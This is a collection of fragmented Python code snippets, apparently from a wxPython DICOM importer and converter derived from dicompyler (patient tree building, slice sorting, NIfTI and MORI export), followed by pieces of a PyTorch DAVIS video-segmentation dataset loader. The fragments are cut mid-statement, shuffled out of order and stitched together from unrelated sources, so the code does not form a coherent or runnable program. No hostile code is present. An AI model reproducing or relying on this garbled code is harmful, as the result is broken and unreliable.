"wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('chart_bar_error.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('chart_curve_error.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('table_selected.png'), wx.BITMAP_TYPE_PNG))",
"{:.6f}\\r'.format(field,np.max(pos))) elif 'Hospital' in field: f.write('{} {}\\r'.format(field,hospital)) elif 'KVP' in field: f.write('{} {}\\r'.format(field,kvp))",
"dp.ds.SeriesDate, dp.ds.AcquisitionDate if (dp.ds.SamplesPerPixel > 1) or (dp.ds.PhotometricInterpretation == 'RGB'): logger.info('Cannot handle color",
"if os.path.isdir(path): files = [] for root, dirs, filenames in os.walk(path): files +=",
"self.patients[h]['treeid'] = \\ self.tcPatients.AppendItem(self.root, name, 1) self.tcPatients.SortChildren(self.root) self.tcPatients.ExpandAll() def AddPatientDataTree(self, patients): \"\"\"Add the",
"patient: for structureid, structure in patient['structures'].items(): foundstructure = False if 'rtss' in dose:",
"CL.Wang # Sort image numbers in descending order for head first patients if",
"conf['min_slice_num'] XRCCTRL(self, 'spin_minslices').SetValue(self.min_slice_num) self.offset = conf['offset'] XRCCTRL(self, 'spin_offset').SetValue(self.offset) self.export_mori_format = conf['export_mori_format'] XRCCTRL(self, 'check_mori').SetValue(self.export_mori_format)",
"AddPatientDataTree(self, patients): \"\"\"Add the patient data to the tree control.\"\"\" # Now add",
"seriesid, series in patient['series'].items(): foundseries = False if (series['referenceframe'] == plan['referenceframe']): badstructure =",
"item['rtplan']): if 'rtss' in plan: if (structureid == plan['rtss']): filearray.append(structure['filename']) # Add the",
"'rxdose' in data: rxdose = data['rxdose'] else: parentdata = self.tcPatients.GetItemData(parent) if not (parentdata",
"dp.GetDemographics() h = hashlib.sha1(patient['id'].encode('utf-8')).hexdigest() if not h in patients: patients[h] = {} patients[h]['demographics']",
"patients. Reading DICOM data...' wx.CallAfter(progressFunc, 0, 1, progressStr) wx.CallAfter(resultFunc, patients) # if the",
"else \"\" rxdose = plan['rxdose'] if plan['rxdose'] > 0 else \"Unknown\" name =",
"= XRCCTRL(self, 'checkSearchSubfolders') self.lblProgressLabel = XRCCTRL(self, 'lblProgressLabel') self.lblProgress = XRCCTRL(self, 'lblProgress') self.gaugeProgress =",
"as soon as the panel loads #self.OnDirectorySearch() def OnRescan(self, evt): self.OnDirectorySearch() def OnPause(self,",
"dictionary logger.debug('Slices num: %d', len(sortedimages)) patient['images'] = sortedimages wx.CallAfter(progressFunc, 49, 100, msgs[2]) if",
"self.path = conf['path'] self.txtDicomImport.SetValue(self.path) self.only_export_voldata = conf['only_export_voldata'] XRCCTRL(self, 'check_mori').SetValue(self.only_export_voldata) self.min_slice_num = conf['min_slice_num'] XRCCTRL(self,",
"exist if not h in self.patients: self.patients[h] = {} self.patients[h]['demographics'] = patient name",
"# Save configure conf = {} with open('.dcmconverter.conf', 'w') as f: conf['path'] =",
"(('ImageOrientationPatient' in dp.ds) and \\ not (dp.GetSOPClassUID() == 'rtdose')): seinfo = dp.GetSeriesInfo() try:",
"+ ')' if len(plan['name']) else \"\" rxdose = plan['rxdose'] if plan['rxdose'] > 0",
"conf['only_export_voldata'] = dlgDicomImporter.only_export_voldata conf['min_slice_num'] = dlgDicomImporter.min_slice_num conf['offset'] = dlgDicomImporter.offset conf['export_mori_format'] = dlgDicomImporter.export_mori_format conf['export_nii_format']",
"name, 2) # Search for series and images if 'series' in patient: for",
"RT files and return a dictionary of data.\"\"\" def __init__(self): wx.Dialog.__init__(self) def Init(self,",
"Add the respective rtss files to the filearray if they exist if 'structures'",
"= files[n] image['series'] = seinfo['id'] image['referenceframe'] = dp.GetFrameOfReferenceUID() patients[h]['series'][seinfo['id']]['numimages'] = \\ patients[h]['series'][seinfo['id']]['numimages'] +",
"patient['images'] = sortedimages wx.CallAfter(progressFunc, 49, 100, msgs[2]) if exportFunc: exportFunc(patient_data=patient, progressFunc=progressFunc) wx.CallAfter(progressFunc, 99,",
"dose['hasdvh']: name = 'RT Dose without Dose Grid (DVH only)' else: name =",
"GTK due to control placement oddities if not guiutil.IsGtk(): self.EnableRxDose(False) # If a",
"np.zeros([dp.ds.Rows, dp.ds.Columns, len(patient_data['images'])]).astype(np.int32) elif dp.ds.BitsAllocated == 8: image_array = np.zeros([dp.ds.Rows, dp.ds.Columns, len(patient_data['images'])]).astype(np.int8) else:",
"np.zeros([dp.ds.Rows, dp.ds.Columns, len(patient_data['images'])]).astype(np.int8) else: image_array = np.zeros([dp.ds.Rows, dp.ds.Columns, len(patient_data['images'])]) pos = [] for",
"if 'series' in patient: for seriesid, series in patient['series'].items(): if 'studies' in patient:",
"False # used for image series if 'id' in item: if (item['id'] ==",
"result ret = dlgDicomImporter.ShowModal() # Save configure conf = {} with open('.dcmconverter.conf', 'w')",
"Please wait...','Exporting patient cancelled.','Exporting patient...'] wx.CallAfter(progressFunc, -1, 100, msgs[0]) for n in range(0,",
"self.t self.t=threading.Thread(target=self.DirectorySearchThread, args=(self, self.path, self.import_search_subfolders, self.SetThreadStatus, self.OnUpdateProgress, self.AddPatientTree, self.AddPatientDataTree)) self.t.start() def SetThreadStatus(self): \"\"\"Tell",
"def InitTree(self): \"\"\"Initialize the tree control for use.\"\"\" iSize = (16,16) iList =",
"'rtplan' in item: if 'plans' in patient: for planid, plan in patient['plans'].items(): if",
"patient['images'].append(dp.ds) elif (dp.ds.Modality in ['RTSTRUCT']): patient['rtss'] = dp.ds elif (dp.ds.Modality in ['RTPLAN']): patient['rtplan']",
"= self.tcPatients.AppendItem(structure['treeid'], name, 5) foundstructure = True # If no structures were found,",
"-1, 100, msgs[0]) for n in range(0, len(filearray)): if terminate(): wx.CallAfter(progressFunc, 98, 100,",
"iList.Add( wx.Bitmap( util.GetResourcePath('group.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('user.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('book.png'), wx.BITMAP_TYPE_PNG)) iList.Add(",
"def OnSpinOffset(self, evt): self.offset = evt.GetPosition() def OnCheckVolFlag(self, evt): self.only_export_voldata = evt.IsChecked() try:",
"not 'images' in patient: patient['images'] = [] patient['images'].append(dp.ds) elif (dp.ds.Modality in ['RTSTRUCT']): patient['rtss']",
"field: f.write('{} {}\\r'.format(field,model_name)) elif 'PatientPosition' in field: f.write('{} {}\\r'.format(field,pat_pos)) elif 'PatientOrientation' in field:",
"image.data_element(sort).value): sortedimages.append(image) # Save the images back to the patient dictionary logger.debug('Slices num:",
"= XmlResource(util.GetResourcePath('dicomgui.xrc')) dlgDicomImporter = self.res.LoadDialog(None, \"DicomImporterDialog\") dlgDicomImporter.Init(self.res) # Show the dialog and return",
"wx.CallAfter(progressFunc, (i+image_array.shape[-1])//2, image_array.shape[-1]+1, 'Creating image array...') image_array = np.transpose(image_array, (1,0,2)) if self.export_mori_format: from",
"util.GetResourcePath('book.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('table_multiple.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('pencil.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('chart_bar.png'),",
"select a valid location.\", \"Invalid DICOM Import Location\", wx.OK|wx.ICON_ERROR) dlg.ShowModal() def OnUpdateProgress(self, num,",
"or not.\"\"\" return self.terminate def DirectorySearchThread(self, parent, path, subfolders, terminate, progressFunc, foundFunc, resultFunc):",
"interface elements.\"\"\" if not length: percentDone = 0 else: percentDone = int(100 *",
"of data.\"\"\" def __init__(self): wx.Dialog.__init__(self) def Init(self, res): \"\"\"Method called after the panel",
"directory search.\"\"\" self.patients = {} self.tcPatients.DeleteChildren(self.root) self.terminate = False self.gaugeProgress.Show(True) self.lblProgressPercent.Show(True) self.lblProgressPercentSym.Show(True) #self.btnSelect.Enable(False)",
"dp.ds.SeriesInstanceUID plan['referenceframe'] = dp.GetFrameOfReferenceUID() plan['beams'] = dp.GetReferencedBeamsInFraction() plan['rtss'] = dp.GetReferencedStructureSet() patients[h]['plans'][plan['id']] = plan",
"plan['rtss'] = dp.GetReferencedStructureSet() patients[h]['plans'][plan['id']] = plan # Create each RT Dose elif dp.ds.Modality",
"+ str(int(b['dose'])) + \" cGy\" rxdose = int(b['dose']) dose['treeid'] = self.tcPatients.AppendItem(plan['treeid'], name, 6)",
"elif (message == 'Importing patient cancelled.'): self.EndModal(wx.ID_CANCEL) def InitTree(self): \"\"\"Initialize the tree control",
"in ['RTDOSE']: if not 'doses' in patients[h]: patients[h]['doses'] = {} dose = {}",
"= 'RT Plan not found' badplan = self.tcPatients.AppendItem(structure['treeid'], name, 8) self.tcPatients.SetItemTextColour(badplan, wx.RED) name",
"self.tcPatients.GetNextChild(child, cookie) logger.info('%d files selected!', len(self.selected_exports)) def EnableItemSelection(self, patient, item, filearray = [],",
"series['study']): modality = series['modality'].partition(' Image Storage')[0] name = 'Series {}: {}. ({}, {}",
"= self.InitTree() # Initialize the patients dictionary self.patients = {} # Search subfolders",
"+ planname + \\ ' - Dose: ' + str(rxdose) + ' cGy'",
"complete.'): self.EndModal(wx.ID_OK) elif (message == 'Importing patient cancelled.'): self.EndModal(wx.ID_CANCEL) def InitTree(self): \"\"\"Initialize the",
"OnUpdateProgress(self, num, length, message): \"\"\"Update the DICOM Import process interface elements.\"\"\" if not",
"= self.tcPatients.AppendItem(badstructure, name, 5) self.tcPatients.SetItemTextColour(badstructure, wx.RED) filearray = [plan['filename']] self.EnableItemSelection(patient, plan, filearray, plan['rxdose'])",
"foundstructure = False if 'rtss' in dose: if (structureid == dose['rtss']): foundstructure =",
"if not (np.any(np.array(np.round(ipp0 - ipp1), dtype=np.int32))): parallel = False break # If the",
"XRCCTRL(self, 'gaugeProgress') self.lblProgressPercent = XRCCTRL(self, 'lblProgressPercent') self.lblProgressPercentSym = XRCCTRL(self, 'lblProgressPercentSym') self.tcPatients = XRCCTRL(self,",
"if 'Thickness' in field: f.write('{} {:.6f}\\r'.format(field,reso[2])) elif 'ImagePositionBegin' in field: f.write('{} {:.6f}\\r'.format(field,np.min(pos))) elif",
"conf['export_mori_format'] XRCCTRL(self, 'check_mori').SetValue(self.export_mori_format) self.export_nii_format = conf['export_nii_format'] XRCCTRL(self, 'check_nifti').SetValue(self.export_nii_format) self.output_dir = conf['output_dir'] XRCCTRL(self, 'picker_output').SetPath(self.output_dir)",
"field: f.write('{} {}\\r'.format(field,kvp)) elif 'KernelFunction' in field: f.write('{} {}\\r'.format(field,conv_kernel)) elif 'ModelName' in field:",
"sort = 'InstanceNumber' # Otherwise sort by Acquisition Number elif not (images[0].AcquisitionNumber ==",
"DICOM data.\"\"\" self.import_search_subfolders = evt.IsChecked() self.terminate = True self.OnDirectorySearch() def OnBrowseDicomImport(self, evt): \"\"\"Get",
"if self.contiune_export != wx.ID_OK: return dp = dicomparser.DicomParser(patient_data['images'][0]) reso = [ float(dp.ds.PixelSpacing[0]), float(dp.ds.PixelSpacing[1]),",
"[structure['filename']] self.EnableItemSelection(patient, structure, filearray) # Search for RT Plans if 'plans' in patient:",
"found\", 8) dose['treeid'] = self.tcPatients.AppendItem(badplan, name, 5) self.tcPatients.SetItemTextColour(badplan, wx.RED) filearray = [dose['filename']] self.EnableItemSelection(patient,",
"images back to the patient dictionary logger.debug('Slices num: %d', len(sortedimages)) patient['images'] = sortedimages",
"+ \\ ' - Dose: ' + str(rxdose) + ' cGy' if 'structures'",
"image['referenceframe']): if not 'numimages' in item: appendImage = True if appendImage: filearray.append(image['filename']) #",
"or AcquisitionNumber) if 'images' in patient: sortedimages = [] unsortednums = [] sortednums",
"'w') as f: conf['path'] = dlgDicomImporter.path conf['only_export_voldata'] = dlgDicomImporter.only_export_voldata conf['min_slice_num'] = dlgDicomImporter.min_slice_num conf['offset']",
"order for head first patients if ('hf' in image.PatientPosition.lower()) and (sort == 'IPP'):",
"name = 'Series {}: {}. ({}, {} {})'.format(series['series_number'], series['description'], modality, series['numimages'], 'image' if",
"name, 9) self.tcPatients.SetItemTextColour(baddose, wx.RED) # No RT Plan nor RT Dose files were",
"= dp.GetReferencedBeamNumber() dose['rtss'] = dp.GetReferencedStructureSet() dose['rtplan'] = dp.GetReferencedRTPlan() patients[h]['doses'][dose['id']] = dose # Otherwise",
"GetPatient(self): \"\"\"Return the patient data from the DICOM importer dialog.\"\"\" return self.patient def",
"from the DICOM importer dialog.\"\"\" msgs = ['Scanning patient. Please wait...','Exporting patient cancelled.','Exporting",
"id=XRCID('btn_convert')) self.Bind(wx.EVT_BUTTON, self.OnPause, id=XRCID('btn_pause')) self.Bind(wx.EVT_BUTTON, self.OnRescan, id=XRCID('btn_rescan')) # Init variables if os.path.isfile('.dcmconverter.conf'): logger.info('Loading",
"# Copyright (c) 2009 <NAME> # This file is part of dicompyler, released",
"if not (self.tcPatients.GetItemData(item) == None): data = self.tcPatients.GetItemData(item) #self.btnSelect.Enable() rxdose = 0 parent",
"= float(dp.ds.SliceThickness) m = np.array( [[float(orientation[0])*di, float(orientation[3])*dj, 0, 0], [float(orientation[1])*di, float(orientation[4])*dj, 0, 0],",
"if not h in self.patients: self.patients[h] = {} self.patients[h]['demographics'] = patient name =",
"dp): di = float(dp.ds.PixelSpacing[0]) dj = float(dp.ds.PixelSpacing[1]) orientation = dp.ds.ImageOrientationPatient dk = float(dp.ds.SliceThickness)",
"befor the tree generated.') def OnSpinSliceNum(self, evt): self.min_slice_num = evt.GetPosition() try: self.Check_Export_Files() except:",
"- iop1), dtype=np.int32))): parallel = False break # Also test ImagePositionPatient, as some",
"'structures' in patients[h]: patients[h]['structures'] = {} structure = dp.GetStructureInfo() structure['id'] = dp.GetSOPInstanceUID() structure['filename']",
"self.lblProgressPercentSym = XRCCTRL(self, 'lblProgressPercentSym') self.tcPatients = XRCCTRL(self, 'tcPatients') self.bmpRxDose = XRCCTRL(self, 'bmpRxDose') self.lblRxDose",
"'Error', style=wx.OK) dialog.ShowModal() dialog.Destroy() def ChoiceDialog(self, msg): dialog = wx.MessageDialog(self, msg, 'Warning', style=wx.OK_DEFAULT|wx.CANCEL)",
"self.AddPatientTree, self.AddPatientDataTree)) self.t.start() def SetThreadStatus(self): \"\"\"Tell the directory search thread whether to terminate",
"= XRCCTRL(self, 'lblRxDoseUnits') # Bind interface events to the proper methods self.Bind(wx.EVT_BUTTON, self.OnBrowseDicomImport,",
"XRCCTRL(self, 'text_output_name').SetValue(self.output_name) else: self.path = os.path.expanduser('~') self.only_export_voldata = XRCCTRL(self, 'check_volume').IsChecked() self.min_slice_num = int(XRCCTRL(self,",
"__GetNiftiAffineMatrix__(self, dp): di = float(dp.ds.PixelSpacing[0]) dj = float(dp.ds.PixelSpacing[1]) orientation = dp.ds.ImageOrientationPatient dk =",
"plan # Create each RT Dose elif dp.ds.Modality in ['RTDOSE']: if not 'doses'",
"# by testing for differences in ImageOrientationPatient parallel = True for i, item",
"if hasattr(dlgDicomImporter, 't'): dlgDicomImporter.t.join() dlgDicomImporter.Destroy() os.sys.exit(0) return 1 class DicomImporterDialog(wx.Dialog): \"\"\"Import DICOM RT",
"DEBUG, INFO logger = getLogger('DcmConverter') import wx warnings.filterwarnings(\"ignore\", category=wx.wxPyDeprecationWarning) from wx.xrc import *",
"logger.info('Exporting image to %s', nii_fname) nib.save(nib.Nifti1Image(image_array, affine=affine), nii_fname) wx.CallAfter(progressFunc, 98, 100, 'Export Nifti",
"if (message == 'Importing patient complete.'): self.EndModal(wx.ID_OK) elif (message == 'Importing patient cancelled.'):",
"patient['images'] = [] patient['images'].append(dp.ds) elif (dp.ds.Modality in ['RTSTRUCT']): patient['rtss'] = dp.ds elif (dp.ds.Modality",
"the dialog and return the result ret = dlgDicomImporter.ShowModal() # Save configure conf",
"evt): self.only_export_voldata = evt.IsChecked() try: self.Check_Export_Files() except: logger.info('Adjusted parameters befor the tree generated.')",
"dir!') return if not self.output_name: self.AlertDialog('Please enter valid output file name!') return if",
"patients[h]['series'] = {} wx.CallAfter(foundFunc, patient) # Create each Study but don't create one",
"length: percentDone = 0 else: percentDone = int(100 * (num+1) / length) self.gaugeProgress.SetValue(percentDone)",
"\" + str(int(b['dose'])) + \" cGy\" rxdose = int(b['dose']) dose['treeid'] = self.tcPatients.AppendItem(plan['treeid'], name,",
"in field: f.write('{} {:.6f}\\r'.format(field,np.max(pos))) elif 'Hospital' in field: f.write('{} {}\\r'.format(field,hospital)) elif 'KVP' in",
"Image Storage')[0] name = 'Series {}: {}. ({}, {} {})'.format(series['series_number'], series['description'], modality, series['numimages'],",
"to be selected in the tree control.\"\"\" # Add the respective images to",
"dlgDicomImporter.only_export_voldata conf['min_slice_num'] = dlgDicomImporter.min_slice_num conf['offset'] = dlgDicomImporter.offset conf['export_mori_format'] = dlgDicomImporter.export_mori_format conf['export_nii_format'] = dlgDicomImporter.export_nii_format",
"wx.RED) name = 'RT Dose not found' baddose = self.tcPatients.AppendItem(badplan, name, 9) self.tcPatients.SetItemTextColour(baddose,",
"planid, plan in patient['plans'].items(): if 'rtplan' in item: if (planid == item['rtplan']): filearray.append(plan['filename'])",
"= {} # Search subfolders by default self.import_search_subfolders = True # Set the",
"out_basepath=basename)))) [th.start() for th in all_export_threads] #[th.join() for th in all_export_threads] # wait",
"dlgDicomImporter: if hasattr(dlgDicomImporter, 't'): dlgDicomImporter.t.join() dlgDicomImporter.Destroy() os.sys.exit(0) return 1 class DicomImporterDialog(wx.Dialog): \"\"\"Import DICOM",
"study_date, serise_date, acq_date = dp.ds.StudyDate, dp.ds.SeriesDate, dp.ds.AcquisitionDate if (dp.ds.SamplesPerPixel > 1) or (dp.ds.PhotometricInterpretation",
"Create each RT Dose elif dp.ds.Modality in ['RTDOSE']: if not 'doses' in patients[h]:",
"for image series if 'id' in item: if (item['id'] == image['series']): appendImage =",
"not valid, display an error message else: wx.CallAfter(progressFunc, 0, 0, 'Select a valid",
"they don't already exist if not h in self.patients: self.patients[h] = {} self.patients[h]['demographics']",
"the proper methods self.Bind(wx.EVT_BUTTON, self.OnBrowseDicomImport, id=XRCID('btnDicomImport')) self.Bind(wx.EVT_CHECKBOX, self.OnCheckSearchSubfolders, id=XRCID('checkSearchSubfolders')) self.Bind(wx.EVT_TREE_SEL_CHANGED, self.OnSelectTreeItem, id=XRCID('tcPatients')) #self.Bind(wx.EVT_TREE_ITEM_ACTIVATED,",
"= 'RT Dose without Dose Grid or DVH' if (dose['summationtype'] == \"BEAM\"): name",
"OnDirectorySearch(self): \"\"\"Begin directory search.\"\"\" self.patients = {} self.tcPatients.DeleteChildren(self.root) self.terminate = False self.gaugeProgress.Show(True) self.lblProgressPercent.Show(True)",
"child.IsOk(): if self.only_export_voldata: title = self.tcPatients.GetItemText(child) flag = 'vol' in title.lower() and minslice_check(child)",
"int(XRCCTRL(self, 'spin_minslices').GetValue()) self.offset = int(XRCCTRL(self, 'spin_offset').GetValue()) self.export_mori_format = XRCCTRL(self, 'check_mori').IsChecked() self.export_nii_format = XRCCTRL(self,",
"info['info']['series_number'] basename = os.path.join(self.output_dir, self.output_name+'-'+str(series_no)+'.512') all_export_threads.append(threading.Thread(target=self.ExportPatientData, args=(self.path, filearray, self.txtRxDose.GetValue(), self.SetThreadStatus, self.OnUpdateProgress, functools.partial(self.ExportFunc, out_basepath=basename))))",
"default self.import_search_subfolders = True # Set the threading termination status to false intially",
"Plan not found' badplan = self.tcPatients.AppendItem(structure['treeid'], name, 8) self.tcPatients.SetItemTextColour(badplan, wx.RED) name = 'RT",
"dp.GetSOPInstanceUID() plan['filename'] = files[n] plan['series'] = dp.ds.SeriesInstanceUID plan['referenceframe'] = dp.GetFrameOfReferenceUID() plan['beams'] = dp.GetReferencedBeamsInFraction()",
"plan['rtss']): filearray.append(structure['filename']) # Add the respective rtplan files to the filearray if they",
"\\ not (dp.GetSOPClassUID() == 'rtdose')): seinfo = dp.GetSeriesInfo() try: seinfo['series_number'] = dp.ds.SeriesNumber #added",
"def AddPatientDataTree(self, patients): \"\"\"Add the patient data to the tree control.\"\"\" # Now",
"return int(info['numimages'])>self.min_slice_num self.selected_exports = [] first_patient = self.tcPatients.GetFirstChild(self.tcPatients.RootItem)[0] first_study = self.tcPatients.GetFirstChild(first_patient)[0] child, cookie",
"title.lower() and minslice_check(child) select(child, flag) else: select(child, minslice_check(child)) child, cookie = self.tcPatients.GetNextChild(child, cookie)",
"dtype=np.int32))): parallel = False break # If the images are parallel, sort by",
"in item: if 'plans' in patient: for planid, plan in patient['plans'].items(): if (planid",
"nii_fname) nib.save(nib.Nifti1Image(image_array, affine=affine), nii_fname) wx.CallAfter(progressFunc, 98, 100, 'Export Nifti image completed') def OnConvert(self,",
"= {} self.tcPatients.DeleteChildren(self.root) self.terminate = False self.gaugeProgress.Show(True) self.lblProgressPercent.Show(True) self.lblProgressPercentSym.Show(True) #self.btnSelect.Enable(False) # Disable Rx",
"{} self.tcPatients.DeleteChildren(self.root) self.terminate = False self.gaugeProgress.Show(True) self.lblProgressPercent.Show(True) self.lblProgressPercentSym.Show(True) #self.btnSelect.Enable(False) # Disable Rx dose",
"False if 'plans' in patient: for planid, plan in patient['plans'].items(): foundplan = False",
"2009 <NAME> # This file is part of dicompyler, released under a BSD",
"rtss to the study if not foundseries: structure['treeid'] = self.tcPatients.AppendItem(study['treeid'], name, 4) filearray",
"style=wx.OK_DEFAULT|wx.CANCEL) self.contiune_export = dialog.ShowModal() dialog.Destroy() def __GetNiftiAffineMatrix__(self, dp): di = float(dp.ds.PixelSpacing[0]) dj =",
"self.txtRxDose.SetValue(rxdose) if (self.tcPatients.GetItemText(item).startswith('RT Plan') or self.tcPatients.GetItemText(parent).startswith('RT Plan')): self.EnableRxDose(True) def EnableRxDose(self, value): \"\"\"Show or",
"0): progressStr = 'Found 0 patients.' elif (len(patients) == 1): progressStr = 'Found",
"= self.tcPatients.AppendItem(series['treeid'], name, 4) foundseries = True # If no series were found,",
"elif 'StudyDate' in field: f.write('{} {}\\r'.format(field,study_date)) elif 'SeriesDate' in field: f.write('{} {}\\r'.format(field,serise_date)) elif",
"patients[h]['studies'] = {} patients[h]['series'] = {} wx.CallAfter(foundFunc, patient) # Create each Study but",
"were found else: name = 'RT Plan not found' badplan = self.tcPatients.AppendItem(structure['treeid'], name,"
] |
[
"import data import torchvision.transforms as TF import datasets.transform as mytrans from utils.system import",
"self.clip_n: # short video idx_list.append(idx_list[-1]) if not self.crop: frames = torch.zeros((self.clip_n, 3, *self.output_size),",
"# ax.imshow(np.array(mask[k, 0], dtype=np.uint8)) ax.imshow(convert_one_hot(np.array(mask[k],dtype=np.uint8).transpose(1, 2, 0), num_obj.item())) plt.pause(0.01) # plt.imsave('test{}.png'.format(k), convert_one_hot(np.array(mask[k],dtype=np.uint8).transpose(1, 2,",
"k in range(mask.shape[0]): ax = fig.add_subplot(2, 3, i*6+4+k) ax.axis('off') # ax.imshow(np.array(mask[k, 0], dtype=np.uint8))",
"img, mask = self.random_affine(img, mask) if self.crop: img, mask = self.random_resize_crop(img, mask) else:",
"video idx_list.append(idx_list[-1]) if not self.crop: frames = torch.zeros((self.clip_n, 3, *self.output_size), dtype=torch.float) masks =",
"= self.out_w else: h, w = original_h, original_w first_mask = first_mask.resize((w, h), Image.NEAREST)",
"} return frames, masks, obj_n, info class DAVIS_Test(data.Dataset): r''' - root: data root",
"= fig.add_subplot(2, 3, i*6+4+k) ax.axis('off') # ax.imshow(np.array(mask[k, 0], dtype=np.uint8)) ax.imshow(convert_one_hot(np.array(mask[k],dtype=np.uint8).transpose(1, 2, 0), num_obj.item()))",
"load_image_in_PIL(mask_list[0], 'P') original_w, original_h = first_mask.size if self.output_size: out_h, out_w = self.output_size if",
"def __init__(self, root, output_size=None, img_set='2017/val.txt', max_obj_n=11, single_obj=False): self.root = root self.single_obj = single_obj",
"max_obj_n=11, single_obj=False): self.root = root self.single_obj = single_obj dataset_path = os.path.join(root, 'ImageSets', img_set)",
"dtype=torch.float) else: frames = torch.zeros((self.clip_n, 3, 400, 400), dtype=torch.float) masks = torch.zeros((self.clip_n, self.max_obj_n,",
"increase_max_skip(self): self.max_skip = min(self.max_skip + self.increment, self.MAX_TRAINING_SKIP) def set_max_skip(self, max_skip): self.max_skip = max_skip",
"obj_n = len(obj_list) + 1 else: mask, _ = self.to_onehot(mask, obj_list) frames[i] =",
"for j in range(frame.shape[0]): ax = fig.add_subplot(2, 3, i*6+j+1) ax.axis('off') ax.imshow(frame[j].numpy().transpose(1, 2, 0))",
"dtype=torch.float) mask, _ = self.to_onehot(first_mask_np) masks[0] = mask[:obj_n] for i in range(video_len): img",
"= np.array(first_mask, np.uint8) if self.single_obj: first_mask_np[first_mask_np > 1] = 1 obj_n = first_mask_np.max()",
"400), dtype=torch.float) masks = torch.zeros((self.clip_n, self.max_obj_n, 400, 400), dtype=torch.float) for i, frame_idx in",
"= torch.zeros((video_len, 3, h, w), dtype=torch.float) masks = torch.zeros((1, obj_n, h, w), dtype=torch.float)",
"TF.ToTensor() self.normalize = TF.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]) self.to_onehot = mytrans.ToOnehot(max_obj_n, shuffle=True)",
"img_dir = os.path.join(self.root, 'JPEGImages', '480p', video_name) mask_dir = os.path.join(self.root, 'Annotations', '480p', video_name) img_list",
"1: if self.sample_choice == 'order': idx_list = list() last_sample = -1 sample_n =",
"__getitem__(self, idx): video_name = self.dataset_list[idx//self.smaples] img_dir = os.path.join(self.root, 'JPEGImages', '480p', video_name) mask_dir =",
"0], dtype=np.uint8)) ax.imshow(convert_one_hot(np.array(mask[k],dtype=np.uint8).transpose(1, 2, 0), num_obj.item())) plt.pause(0.01) # plt.imsave('test{}.png'.format(k), convert_one_hot(np.array(mask[k],dtype=np.uint8).transpose(1, 2, 0), num_obj.item()))",
"increment=cfg.DATA.TRAIN.DAVIS_SKIP_INCREMENT[1], samples=cfg.DATA.TRAIN.SAMPLES_PER_VIDEO, choice=cfg.DATA.TRAIN.SAMPLE_CHOICE, crop=cfg.DATA.TRAIN.CROP ) else: single_obj = (cfg.DATA.VAL.DATASET_NAME == 'DAVIS16') return DAVIS_Test(",
"= mytrans.RandomAffine(degrees=15, translate=(0.1, 0.1), scale=(0.95, 1.05), shear=10) if self.crop: self.random_resize_crop = mytrans.RandomResizedCrop(400, (0.8,",
"max_obj_n=7, max_skip=5, increment=5, samples=2, choice='order', crop=False): self.root = root self.clip_n = clip_n self.output_size",
"0.02) self.random_affine = mytrans.RandomAffine(degrees=15, translate=(0.1, 0.1), scale=(0.95, 1.05), shear=10) if self.crop: self.random_resize_crop =",
"else: single_obj = (cfg.DATA.VAL.DATASET_NAME == 'DAVIS16') return DAVIS_Test( root=cfg.DATA.DAVIS_ROOT, single_obj=single_obj ) if __name__",
"in a image for training, int ''' def __init__(self, root, output_size=None, img_set='2017/val.txt', max_obj_n=11,",
"int(original_w / original_h * out_h) # h = self.out_h # w = self.out_w",
"= { 'name': video_name, 'num_frames': video_len, 'original_size': (original_h, original_w) } return frames, masks,",
"np.array(mask, np.uint8) if i == 0: mask, obj_list = self.to_onehot(mask) obj_n = len(obj_list)",
"= root self.single_obj = single_obj dataset_path = os.path.join(root, 'ImageSets', img_set) self.dataset_list = list()",
"- output_size: output size of image and mask, tuple - imset - clip_n:",
"in range(video_len): img = load_image_in_PIL(img_list[i], 'RGB') img = img.resize((w, h), Image.BILINEAR) frames[i] =",
"self.color_jitter(img) img, mask = self.random_affine(img, mask) if self.crop: img, mask = self.random_resize_crop(img, mask)",
"0.1), scale=(0.95, 1.05), shear=10) if self.crop: self.random_resize_crop = mytrans.RandomResizedCrop(400, (0.8, 1), (0.95, 1.05))",
"numpy as np from glob import glob import random import torch from torch.utils",
"self.MAX_TRAINING_SKIP) def set_max_skip(self, max_skip): self.max_skip = max_skip def __len__(self): return len(self.dataset_list) * self.smaples",
"if self.sample_choice == 'order': idx_list = list() last_sample = -1 sample_n = min(self.clip_n,",
"= self.output_size if original_h < out_h: h, w = original_h, original_w else: h",
"self.crop: img, mask = self.random_resize_crop(img, mask) else: img, mask = self.resize(img, mask) mask",
"400), dtype=torch.float) for i, frame_idx in enumerate(idx_list): img = load_image_in_PIL(img_list[frame_idx], 'RGB') mask =",
"self.resize(img, mask) mask = np.array(mask, np.uint8) if i == 0: mask, obj_list =",
"= self.to_onehot(first_mask_np) masks[0] = mask[:obj_n] for i in range(video_len): img = load_image_in_PIL(img_list[i], 'RGB')",
"max_obj_n=cfg.DATA.TRAIN.MAX_OBJECTS, max_skip=cfg.DATA.TRAIN.DAVIS_SKIP_INCREMENT[0], increment=cfg.DATA.TRAIN.DAVIS_SKIP_INCREMENT[1], samples=cfg.DATA.TRAIN.SAMPLES_PER_VIDEO, choice=cfg.DATA.TRAIN.SAMPLE_CHOICE, crop=cfg.DATA.TRAIN.CROP ) else: single_obj = (cfg.DATA.VAL.DATASET_NAME == 'DAVIS16')",
"'DAVIS16') return DAVIS_Test( root=cfg.DATA.DAVIS_ROOT, single_obj=single_obj ) if __name__ == '__main__': ds = DAVIS_Train('/public/datasets/DAVIS',",
"in range(mask.shape[0]): ax = fig.add_subplot(2, 3, i*6+4+k) ax.axis('off') # ax.imshow(np.array(mask[k, 0], dtype=np.uint8)) ax.imshow(convert_one_hot(np.array(mask[k],dtype=np.uint8).transpose(1,",
"std=[0.229, 0.224, 0.225]) self.to_onehot = mytrans.ToOnehot(max_obj_n, shuffle=True) def increase_max_skip(self): self.max_skip = min(self.max_skip +",
